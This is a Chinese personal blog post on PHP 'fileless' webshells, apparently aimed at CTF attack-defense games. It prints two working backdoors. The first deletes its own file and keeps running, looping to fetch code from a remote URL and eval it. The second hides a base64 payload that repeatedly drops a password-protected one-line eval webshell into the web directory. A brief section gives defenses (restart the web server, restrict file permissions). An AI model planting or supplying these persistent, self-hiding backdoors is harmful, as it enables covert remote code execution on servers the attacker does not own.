kerling

热爱安全。php python 低级coder 。爱美食爱电影爱二次元。0.3阶狼人杀玩家

关于 php无文件shell自己的一些想法体会

0x01

先贴一下源码

<?php


unlink($_SERVER['SCRIPT_FILENAME']); //删除自身


ignore_user_abort(true);  //设置使得用户无法终止 也就是说 我们关闭浏览器也没办法终止代码执行


set_time_limit(0);//设置延时时间 也就是 无限




$remote_file = 'https://xxx/xxx.txt'; //定义一个远程的变量


while($code = file_get_contents($remote_file)){ //通过file_get_contents 获得 远程文件的内容 如果存在 开始循环

  @eval($code); //执行xxx.txt 的代码


  sleep(5);//设置延迟 否则一直执行代码比如 反弹 生存shell 会占用过多资源


};

?>

我们知道 程序运行 都是现将自身存入内存之中然后进行,该木马的原理也是如此,先将自己的代码读入内存之中(也就是容器的进程比如apache),所以当这个程序运行起来了之后就开始进行自删除。而代码已经存入了 进程之中。所以原本的文件没有存在的意义。之后走while循环 只要判断了远程txt文件的存在就会一直 读取$code的内容并且执行

0x02

但是该后门有个挺不稳定的因素。就是当远程文件无法获取的时候 也就不走while循环 也就是 不会再执行eval的内容 也就是说如果有些网络波动,那么很可能这个后门会缺失。因此本人稍微修改了下代码

<?php


unlink($_SERVER['SCRIPT_FILENAME']);


ignore_user_abort(true);


set_time_limit(0);




$code="ZmlsZV9wdXRfY29udGVudHMoJ2Mwbl9pbmMucGhwJyxiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ0NtbG1LRzFrTlNna1gxQlBVMVJiSjNBblhTazlQU2MzTmpnMFpqWmpPVEF4T0Roak5tWm1NamxpT0RrMVlUTTNaamhoWkRFM1lTY3BDa0JsZG1Gc0tDUmZVRTlUVkZzbll5ZGRLVHNLUHo0Z0lBPT0iKSk7ICA=";


while(1){


  @eval(base64_decode($code));


  sleep(5);


};


?>


使用while(1)进行循环 也就是说 会无限的 走循环 第二 是设置好了变量$code 该变量是 base64编码的 解码后其实就是在当前目录写入一个一句话的木马 eval处使用@ 报错后也执行

这样是比较稳定的,但是同时也缺失了源代码的灵活性(xxx.txt中内容可以修改)

0x03 如何防御

可以说这类木马 无形无踪 不存在实体文件 可以说不是很好查杀.那么有什么办法呢?笔者目前有两种方法

1. 我们知道他是将代码存入到内存中的 而php使用较多的就是apache 所以很简单 我们只需要请客apache的内存就好 也就是重启服务

service restart apache2

iis 等其他同理 不多说

2.如果是像我改写的那一类木马 你只要找到那个一句话(这应该不难吧orz)然后使用 chmod 770 这样www对该文件没有权限 就算其生成了 木马也没有办法执行了(windows下同理可以设置权限)

====================我是分割线==================


其实该木马比较适合用于ctf的线下攻防(渗透测试都直接弹shell了,谁跟你用这个不稳定的玩意儿2333) ,因为ctf 比赛的时间相对较短,最好部署一些比较方便稳定的 后门(弹shell的话肯定各种kill)

评论

© kerling | Powered by LOFTER